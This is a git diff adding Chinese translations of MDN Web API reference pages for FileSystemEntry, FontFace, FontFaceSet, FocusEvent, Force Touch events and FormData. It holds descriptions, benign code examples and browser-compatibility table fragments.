A {{domxref("FileSystem")}} object representing the file system in which the entry is located.
+
{{domxref("FileSystemEntry.fullPath", "fullPath")}} {{ReadOnlyInline}}
+
A {{domxref("USVString")}} object which provides the full, absolute path from the file system's root to the entry; it can also be thought of as a path which is relative to the root directory, prepended with a "/" character.
+
{{domxref("FileSystemEntry.isDirectory", "isDirectory")}} {{ReadOnlyInline}}
+
A {{jsxref("Boolean")}} which is true if the entry represents a directory; otherwise, it's false.
+
{{domxref("FileSystemEntry.isFile", "isFile")}} {{ReadOnlyInline}}
+
A Boolean which is true if the entry represents a file. If it's not a file, this value is false.
+
{{domxref("FileSystemEntry.name", "name")}} {{ReadOnlyInline}}
+
A {{domxref("USVString")}} containing the name of the entry (the final part of the path, after the last "/" character).
+
+ +

Methods

+ +

This interface defines the following methods.

+ +
+
{{domxref("FileSystemEntry.copyTo", "copyTo()")}}
+
Copies the file or directory to a new location on the file system.
+
{{domxref("FileSystemEntry.getMetadata", "getMetadata()")}}
+
Obtains metadata about the file, such as its modification date and size.
+
{{domxref("FileSystemEntry.getParent", "getParent()")}}
+
Returns a {{domxref("FileSystemDirectoryEntry")}} representing the entry's parent directory.
+
{{domxref("FileSystemEntry.moveTo", "moveTo()")}}
+
Moves the file or directory to a new location on the file system, or renames the file or directory.
+
{{domxref("FileSystemEntry.remove", "remove()")}}
+
Removes the specified file or directory. You can only remove directories which are empty.
+
{{domxref("FileSystemEntry.toURL", "toURL()")}}
+
Creates and returns a URL which identifies the entry. This URL uses the URL scheme "filesystem:".
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

This API has no official W3C or WHATWG specification.

+ +

Browser compatibility

+ +
+ + +

{{Compat("api.FileSystemEntry")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/filesystemfileentry/index.html b/files/zh-cn/web/api/filesystemfileentry/index.html new file mode 100644 index 0000000000..8fcca325a1 --- /dev/null +++ b/files/zh-cn/web/api/filesystemfileentry/index.html @@ -0,0 +1,174 @@ +--- +title: FileSystemFileEntry +slug: Web/API/FileSystemFileEntry +translation_of: Web/API/FileSystemFileEntry +--- +
{{APIRef("File System API")}}{{Non-standard_header}}
+ +

文件系统 API 的 FileSystemFileEntry 接口表示文件系统中的文件。它提供了属性,描述文件的属性,以及 {{domxref("FileSystemFileEntry.file", "file()")}} 方法,它创建了可以用于读取文件的 {{domxref("File")}} 对象。

+ +
+

由于这是个非标准 API,它的规范当前并不在标准化过程中。重要的是要记住,并不是所有浏览器都实现了它,并且实现它的浏览器可能仅仅实现一小部分。点击 {{anch("Browser compatibility")}} 来查看更多细节。

+
+ +

属性

+ +

从它的父接口 {{domxref("FileSystemEntry")}} 继承属性,但是这个接口没有独特的属性。

+ +

方法

+ +
+
{{domxref("FileSystemFileEntry.file", "file()")}}
+
创建新的 {{domxref("File")}} 对象,它可以用于读取文件。
+
+ +

废弃的方法

+ +
+
{{domxref("FileSystemFileEntry.createWriter", "createWriter()")}} {{obsolete_inline}}
+
创建新的 {{domxref("FileWriter")}} 对象,它允许写入由文件系统条目表示的对象。
+
+ +

基本概念

+ +

为了向文件写入内容,通过调用 {{domxref("FileSystemFileEntry.createWriter", "createWriter()")}} 创建 {{domxref("FileWriter")}} 对象。为了读取文件,通过调用 {{domxref("FileSystemFileEntry.file", "file()")}},获取表示其内容的 {{domxref("File")}} 对象。

+ +

示例

+ +

下面的代码创建了一个空文件,叫做 "log.txt" (如果不存在的话),并使用文本 "Meow" 来填充。在成功的回调中,设置了事件处理器,来处理 {{event("error")}} error 和 {{event("writeend")}} 事件。通过创建 blob,向其追加文本,以及将 blob 传递给  {{domxref("FileWriter.write()")}},文本数据写入了文件。

+ +
function onInitFs(fs) {
+  fs.root.getFile('log.txt', {create: true}, function(fileEntry) {
+
+    // Create a FileWriter object for our FileSystemFileEntry (log.txt).
+    fileEntry.createWriter(function(fileWriter) {
+      fileWriter.onwriteend = function(e) {
+        console.log('Write completed.');
+      };
+
+      fileWriter.onerror = function(e) {
+        console.log('Write failed: ' + e.toString());
+      };
+
+      // Create a new Blob and write it to log.txt.
+      var bb = new BlobBuilder();
+      bb.append('Meow');
+
+      fileWriter.write(bb.getBlob('text/plain'));
+    }, errorHandler);
+
+  }, errorHandler);
+
+}
+
+window.requestFileSystem(window.TEMPORARY, 1024*1024, onInitFs, errorHandler);
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

这个 API 没有官方的 W3C 或者 WHATWG 规范。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support13 {{ property_prefix("webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(50) }}{{ CompatNo }}{{CompatVersionUnknown}}[2]{{ CompatNo }}{{ CompatNo }}
createWriter()13 {{ property_prefix("webkit") }}{{CompatNo}}{{ CompatNo }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo }}0.16{{ property_prefix("webkit") }}{{CompatVersionUnknown}}{{CompatGeckoMobile(50)}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
createWriter(){{ CompatNo }}0.16{{ property_prefix("webkit") }}{{CompatNo}}{{ CompatNo }}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

[1] 虽然从 Firefox 50 开始,存在 createWriter() 方法,它是不受支持的,并且会立即报告 NS_ERROR_DOM_SECURITY_ERR 错误给错误回调。这个方法在 Firefox 52 中彻底移除。

+ +

[2] Microsoft Edge 实现了这个接口,作为 WebKitEntry 接口的一部分,它是用于 {{domxref("FileSystemEntry")}} 的名称。

+ +

另见

+ + diff --git a/files/zh-cn/web/api/filesystemsync/index.html b/files/zh-cn/web/api/filesystemsync/index.html new file mode 100644 index 0000000000..808a4be93a --- /dev/null +++ b/files/zh-cn/web/api/filesystemsync/index.html @@ -0,0 +1,107 @@ +--- +title: FileSystemSync +slug: Web/API/FileSystemSync +translation_of: Web/API/FileSystemSync +--- +
+

{{APIRef("File System API")}} {{non-standard_header}}

+
+ +

在 文件系统 API 中, FileSystemSync 对象表示文件系统。它有两个属性。

+ +

关于这个文档

+ +

这个文档最后更新与 2012 年 3 月 2 日,并且遵循 W3C 规范(工作草案),起草于 2011 年 4 月 19 日。

+ +

规范目前已废弃,没有得到大量的关注。

+ +

基本概念

+ +

FileSystemSync 对象是整个 API 的必经之路,你会大量使用它。所以一旦你获得了引用,将对象缓存在全局变量或类属性中。

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + +
AttributeTypeDescription
name +

只读
+ DOMString

+
文件系统的名称。名称在开放的文件系统列表中必须是唯一的。
root只读 DirectoryEntry文件系统的根目录。
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}0.16{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

另见

+ +

规范:{{ spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "File API: Directories and System Specification", "WD") }}

+ +

参考: 文件系统 API

+ +

简介:文件系统 API 的基本概念

diff --git a/files/zh-cn/web/api/focusevent/index.html b/files/zh-cn/web/api/focusevent/index.html new file mode 100644 index 0000000000..415be5e35b --- /dev/null +++ b/files/zh-cn/web/api/focusevent/index.html @@ -0,0 +1,70 @@ +--- +title: FocusEvent +slug: Web/API/FocusEvent +tags: + - API + - DOM + - DOM 事件 + - 事件 + - 参考 +translation_of: Web/API/FocusEvent +--- +
{{APIRef("DOM Events")}}
+ +

FocusEvent 接口表示和焦点相关的事件比如 {{event("focus")}}, {{event("blur")}}, {{event("focusin")}}, 和 {{event("focusout")}}。

+ +

{{InheritanceDiagram}}

+ +

构造器

+ +
+
{{domxref("FocusEvent.FocusEvent", "FocusEvent()")}}
+
使用给定的参数创建 FocusEvent 事件。
+
+ +

属性

+ +

此接口从它的父级继承了属性 {{domxref("UIEvent")}}, 间接来自于 {{domxref("Event")}}.

+ +
+
{{domxref("FocusEvent.relatedTarget")}} {{readonlyInline}}
+
{{domxref("EventTarget")}} 这个代表此次事件的次要目标. 在一些案例中,例如切换浏览器tab标签时, 为了安全的原因,这个属性可能会被设置为 null 。
+
+ +

方法

+ +

此接口没有特殊的方法。它从父级 {{domxref("UIEvent")}} 继承方法, 并间接从 {{domxref("Event")}} 继承方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('UI Events', '#interface-focusevent', 'FocusEvent')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events', '#interface-focusevent', 'FocusEvent')}}{{Spec2('DOM3 Events')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.FocusEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/fontface/index.html b/files/zh-cn/web/api/fontface/index.html new file mode 100644 index 0000000000..33f591f749 --- /dev/null +++ b/files/zh-cn/web/api/fontface/index.html @@ -0,0 +1,122 @@ +--- +title: FontFace +slug: Web/API/FontFace +translation_of: Web/API/FontFace +--- +

{{APIRef("CSS Font Loading API")}}{{SeeCompatTable}}

+ +

FontFace 接口表示一个可用的字体。它允许您控制字体的源文件,作为外部资源的URL或缓冲区; 它还允许您控制字体的加载时间和字体当前的状态。

+ +

Constructor

+ +
+
{{domxref("FontFace.FontFace", "FontFace()")}}
+
使用URL指向的外部资源或{{domxref("ArrayBuffer")}}构造并返回一个新的 FontFace 对象。
+
+ +

Properties

+ +

这个接口不继承任何属性。

+ +
+
{{domxref("FontFace.family")}}
+
这是不是一个{{domxref("DOMString")}} ?是的话将表示该字体的 family 属性,相当于 {{cssxref("@font-face/family", "family")}} 。
+
{{domxref("FontFace.style")}}
+
这是不是一个 {{domxref("DOMString")}} ?是的话将表示该字体的 style 属性,相当于 {{cssxref("@font-face/style", "style")}} 。
+
{{domxref("FontFace.weight")}}
+
这是不是一个 {{domxref("DOMString")}} ?是的话将表示该字体的 weight 属性,相当于 {{cssxref("@font-face/weight", "weight")}}。
+
{{domxref("FontFace.stretch")}}
+
这是不是一个 {{domxref("DOMString")}} ?是的话将表示该字体的 stretches 属性,相当于 {{cssxref("@font-face/stretch", "stretch")}} 。
+
{{domxref("FontFace.unicodeRange")}}
+
这是不是一个 {{domxref("DOMString")}} ?是的话将表示该字体涵盖的 range of code (字符编码的范围),相当于 {{cssxref("@font-face/unicode-range", "unicode-range")}} 。
+
{{domxref("FontFace.variant")}}
+
这是不是一个 {{domxref("DOMString")}} ?是的话将表示该字体的 variant 属性,相当于 {{cssxref("@font-face/range", "range")}} 。
+
{{domxref("FontFace.featureSettings")}}
+
这是不是一个 {{domxref("DOMString")}} ?是的话将表示该字体的 features 属性,相当于 {{cssxref("@font-face/feature-settings", "feature-settings")}} 。
+
{{domxref("FontFace.status")}} {{readonlyinline}}
+
返回一个表示字体当前状态的可枚举值,它可能是下列之一: "unloaded", "loading", "loaded""error"
+
{{domxref("FontFace.loaded")}} {{readonlyinline}}
+
当字体完全加载或加载失败时返回该 FontFace 的{{domxref("Promise")}} 。
+
+ +

Methods

+ +

这个接口不继承任何方法

+ +
+
{{domxref("FontFace.load()")}}
+
加载该字体,返回该字体完全加载或加载失败时的{{domxref("Promise")}} 。
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Font Loading','#FontFace-interface','FontFaceSet')}}{{Spec2('CSS3 Font Loading')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(35.0)}}{{CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(35.0)}}{{CompatGeckoMobile(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(35.0)}}
+
diff --git a/files/zh-cn/web/api/fontfaceset/check/index.html b/files/zh-cn/web/api/fontfaceset/check/index.html new file mode 100644 index 0000000000..6f95ff04f4 --- /dev/null +++ b/files/zh-cn/web/api/fontfaceset/check/index.html @@ -0,0 +1,112 @@ +--- +title: FontFaceSet.check() +slug: Web/API/FontFaceSet/check +tags: + - API + - CSS Font Loading API + - Experimental + - FontFaceSet + - Method + - Reference +translation_of: Web/API/FontFaceSet/check +--- +

{{APIRef()}} {{SeeCompatTable}}

+ +
{{domxref("FontFaceSet")}} 的check()方法会返回是否在给定的字体列表中的所有字体已经被加载并可用。
+ +

句法

+ +
bool = aFontFaceSet .check(font);
+bool = aFontFaceSet .check(fonttext);
+
+ +

返回

+ +

如果字体列表可用,则{{jsxref("Boolean")}}为true

+ +

参数

+ + + +

例子

+ +
document.fonts.check("12px courier"); //如果字体快递可用在12px,则返回true
+
+document.fonts.check("12px MyFont","ß"); 如果字体“MyFont”具有ß字符,则返回true。
+
+ +

产品规格

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('CSS3 Font Loading','#font-face-set-check','check')}}{{Spec2('CSS3 Font Loading')}}初始定义
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特征Firefox(Gecko)IE浏览器歌剧Safari(WebKit)
基本支持{{CompatChrome(35.0)}}{{CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
特征Android的Android WebviewFirefox Mobile(Gecko)Firefox操作系统IE Mobile歌剧手机Safari手机适用于Android的Chrome
基本支持{{CompatNo}}{{CompatChrome(35.0)}}{{CompatGeckoMobile(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(35.0)}}
+
diff --git a/files/zh-cn/web/api/fontfaceset/index.html b/files/zh-cn/web/api/fontfaceset/index.html new file mode 100644 index 0000000000..564cd391ea --- /dev/null +++ b/files/zh-cn/web/api/fontfaceset/index.html @@ -0,0 +1,143 @@ +--- +title: FontFaceSet +slug: Web/API/FontFaceSet +tags: + - API + - Fonts +translation_of: Web/API/FontFaceSet +--- +
{{APIRef("CSS Font Loading API")}}{{SeeCompatTable}}
+ +

CSS 字体加载 APIFontFaceSet 管理着字体们的加载和可查询的字体们下载状态。

+ +

Properties

+ +
+
{{domxref("FontFaceSet.status")}} {{readonlyinline}}
+
表示 font-face's 的加载状态,可能是 'loading''loaded'
+
+ +

Events

+ +
+
+ +
+
{{domxref("FontFaceSet.onloading")}}
+
当{{event("loading")}}相关事件发生时触发{{domxref("EventListener")}} ,表示 font-face 集已经开始加载了。
+
{{domxref("FontFaceSet.onloadingdone")}}
+
当{{event("loading")}}相关事件发生时触发{{domxref("EventListener")}} ,表示 font-face 集已经完成加载了。
+
{{domxref("FontFaceSet.onloadingerror")}}
+
当{{event("loading")}}相关事件发生时触发{{domxref("EventListener")}} ,表示 font-face 集加载时产生了一个错误。
+
+ +

Methods

+ +
+
{{domxref("FontFaceSet.add","FontFaceSet.add()")}}
+
向字体集添加一个字体。
+
{{domxref("FontFaceSet.check","FontFaceSet.check()")}}
+
一个{{domxref("Boolean")}} 用于表示一个字体是否加载完成,但它不回初始化你的加载。
+
{{domxref("FontFaceSet.clear", "FontFaceSet.clear()")}}
+
移除字体集的所有字体。
+
{{domxref("FontFaceSet.delete","FontFaceSet.delete()")}}
+
从字体集中移除一个字体。
+
{{domxref("FontFaceSet.load","FontFaceSet.load()")}}
+
返回解析为请求的字体的列表的 {{jsxref("Promise")}}。
+
{{domxref("FontFaceSet.ready", "FontFaceSet.ready()")}}
+
准备操作已完成且开始解析字体时返回一个 {{jsxref("Promise")}} 。
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}}{{Spec2('CSS3 Font Loading')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(35.0)}}{{CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari(10)}}
clear() method{{CompatChrome(48.0)}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(35.0)}}{{CompatGeckoMobile(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari(10)}}{{CompatChrome(35.0)}}
clear() method{{CompatNo}}{{CompatChrome(48.0)}}     {{CompatChrome(48.0)}}
+
+ +

 

diff --git a/files/zh-cn/web/api/force_touch_events/index.html b/files/zh-cn/web/api/force_touch_events/index.html new file mode 100644 index 0000000000..fe49550129 --- /dev/null +++ b/files/zh-cn/web/api/force_touch_events/index.html @@ -0,0 +1,47 @@ +--- +title: Force Touch events +slug: Web/API/Force_Touch_events +translation_of: Web/API/Force_Touch_events +--- +

{{DefaultAPISidebar("Force Touch events")}}

+ +

{{Non-standard_header()}}

+ +

Force Touch events are a proprietary, Apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad.

+ +

Events

+ +
+
{{event("webkitmouseforcewillbegin")}} {{non-standard_inline}}
+
This event is fired before the {{event("mousedown")}} event. Its main use is that it can be {{domxref("Event.preventDefault()")}}ed.
+
{{event("webkitmouseforcedown")}} {{non-standard_inline}}
+
This event is fired after the {{event("mousedown")}} event as soon as sufficient pressure has been applied for it to qualify as a "force click".
+
{{event("webkitmouseforceup")}} {{non-standard_inline}}
+
This event is fired after the {{event("webkitmouseforcedown")}} event as soon as the pressure has been reduced sufficiently to end the "force click".
+
{{event("webkitmouseforcechanged")}} {{non-standard_inline}}
+
This event is fired each time the amount of pressure changes. This event first fires after the {{event("mousedown")}} event and stops firing before the {{event("mouseup")}} event.
+
+ +

Event properties

+ +

The following property is known to be available on the {{event("webkitmouseforcewillbegin")}}, {{event("mousedown")}}, {{event("webkitmouseforcechanged")}}, {{event("webkitmouseforcedown")}}, {{event("webkitmouseforceup")}}, {{event("mousemove")}}, and {{event("mouseup")}} event objects:

+ +
+
{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}
+
当前施加于触控板/触摸屏的压力量
+
+ +

常量

+ +

这些常数对于确定由{{domxref("MouseEvent.webkitForce")}}指示的压力的相对强度是有用的:

+ +
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}} {{readonlyinline}}
+
正常点击所需的最小力量
+
{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}} {{readonlyinline}}
+
强制点击所需的最小力量
+
+ +

产品规格

+ +

不是任何规格的一部分。苹果在Mac开发者图书馆一个描述

diff --git a/files/zh-cn/web/api/formdata/append/index.html b/files/zh-cn/web/api/formdata/append/index.html new file mode 100644 index 0000000000..90f918c36d --- /dev/null +++ b/files/zh-cn/web/api/formdata/append/index.html @@ -0,0 +1,180 @@ +--- +title: FormData.append() +slug: Web/API/FormData/append +translation_of: Web/API/FormData/append +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 接口的append() 方法 会添加一个新值到 FormData 对象内的一个已存在的键中,如果键不存在则会添加该键。

+ +

{{domxref("FormData.set")}} 和 append() 的区别在于,如果指定的键已经存在, {{domxref("FormData.set")}} 会使用新值覆盖已有的值,而 append() 会把新值添加到已有值集合的后面。

+ +
+

提示: 这个方法在 Web Workers 中可用。

+
+ +

语法

+ +

这个方法有两个版本:一个有两个参数的版本和一个有三个参数的版本。

+ +
formData.append(name, value);
+formData.append(name, value, filename);
+ +

参数

+ +
+
name
+
value中包含的数据对应的表单名称。
+
value
+
表单的值。可以是{{domxref("USVString")}} 或 {{domxref("Blob")}} (包括子类型,如 {{domxref("File")}})。
+
filename {{optional_inline}}
+
传给服务器的文件名称 (一个 {{domxref("USVString")}}), 当一个 {{domxref("Blob")}} 或 {{domxref("File")}} 被作为第二个参数的时候, {{domxref("Blob")}} 对象的默认文件名是 "blob"。 {{domxref("File")}} 对象的默认文件名是该文件的名称。
+
+ +
+

注意: 如果你指定一个 {{domxref("Blob")}} 作为数据添加到 FormData 对象中, 文件名会被放在 "Content-Disposition" 头部(常常会根据浏览器变化而变化)传给服务器。

+
+ +

返回值

+ +

+ +

示例

+ +

下面的代码创建了一个空的 FormData 对象:

+ +
var formData = new FormData(); // Currently empty
+ +

你可以通过 {{domxref("FormData.append")}} 往对象里加入键值对:

+ +
formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');
+ +

跟常规表单数据一样,你可以使用同一个名称添加多个值 。例如 (为了与PHP命名习惯一致在名称中添加了[]):

+ +
formData.append('userpic[]', myFileInput1.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput2.files[0], 'chris2.jpg');
+ +

这项技术使得多文件上传的处理更加简单,因为所得数据结构更有利于循环。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持7{{CompatGeckoDesktop("2.0")}}[1]10125
支持filename参数{{CompatVersionUnknown}}{{CompatGeckoDesktop("22.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
在web workers中可用{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
基础支持3.0[2]{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}[1]1.0.1{{CompatUnknown}} +

12

+
{{CompatUnknown}}
支持filename参数{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}}1.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
在web workers中可用{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("39.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Prior to Gecko 7.0 {{geckoRelease("7.0")}}, if you specified a {{domxref("Blob")}} as the data to append to the object, the filename reported in the "Content-Disposition" HTTP header was an empty string; this resulted in errors being reported by some servers. Starting in Gecko 7.0 the filename "blob" is sent.

+ +

[2] XHR in Android 4.0 sends empty content for FormData with blob.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/entries/index.html b/files/zh-cn/web/api/formdata/entries/index.html new file mode 100644 index 0000000000..54baa447ca --- /dev/null +++ b/files/zh-cn/web/api/formdata/entries/index.html @@ -0,0 +1,141 @@ +--- +title: FormData.entries() +slug: Web/API/FormData/entries +translation_of: Web/API/FormData/entries +--- +

{{APIRef("XMLHttpRequest")}}

+ +

The FormData.entries() 方法返回一个 {{jsxref("Iteration_protocols",'iterator')}}对象 ,此对象可以遍历访问FormData中的键值对。其中键值对的key是一个 {{domxref("USVString")}} 对象;value是一个 {{domxref("USVString")}} , 或者 {{domxref("Blob")}}对象。

+ +
+

Note: 此方法在 Web Workers 可用.

+
+ +

语法

+ +
formData.entries();
+ +

返回值

+ +

返回 {{jsxref("Iteration_protocols","iterator")}}。

+ +

示例

+ +
// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+
+ +

执行结果为:

+ +
key1, value1
+key2, value2
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in web workers{{CompatChrome(50.0)}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}     {{CompatChrome(50.0)}}
+
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/formdata/index.html b/files/zh-cn/web/api/formdata/formdata/index.html new file mode 100644 index 0000000000..1ea36b03bc --- /dev/null +++ b/files/zh-cn/web/api/formdata/formdata/index.html @@ -0,0 +1,184 @@ +--- +title: FormData() +slug: Web/API/FormData/FormData +translation_of: Web/API/FormData/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData()构造函数用于创建一个新的{{domxref("FormData")}}对象。

+ +
+

注意: 该功能在 Web Workers 中可用。

+
+ +

语法

+ +
var formData = new FormData(form)
+ +

参数

+ +
+
form {{optional_inline}}
+
一个HTML 上的{{HTMLElement("form")}}表单元素——当指定了,这种方式创建的{{domxref("FormData")}}对象会自动将form中的表单值也包含进去,包括文件内容也会被编码之后包含进去。
+
+ +

例子

+ +

下面的代码将创建一个空的FormData对象:

+ +
var formData = new FormData(); // 当前为空
+ +

你可以使用{{domxref("FormData.append")}}来添加键/值对到表单里面;

+ +
formData.append('username', 'Chris');
+
+ +

或者你可以使用可选的form参数来创建一个带预置数据的FormData对象:

+ +
<form id="myForm" name="myForm">
+  <div>
+    <label for="username">Enter name:</label>
+    <input type="text" id="username" name="username">
+  </div>
+  <div>
+    <label for="useracc">Enter account number:</label>
+    <input type="text" id="useracc" name="useracc">
+  </div>
+  <div>
+    <label for="userfile">Upload file:</label>
+    <input type="file" id="userfile" name="userfile">
+  </div>
+<input type="submit" value="Submit!">
+</form>
+
+ +
+

注意: 所有的输入元素都需要有name属性,否则无法访问到值。

+
+ +
var myForm = document.getElementById('myForm');
+formData = new FormData(myForm);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support7{{CompatGeckoDesktop("2.0")}}10125
append with filename{{CompatVersionUnknown}}{{CompatGeckoDesktop("22.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
available in web workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{CompatUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}} +

12

+
{{CompatUnknown}}
append with filename{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("22.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in web workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("39.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ +

 

+ +
+

注意: XHR在Android 4.0上FormData的blob数据将发送空内容。

+
+ +

附注

+ +

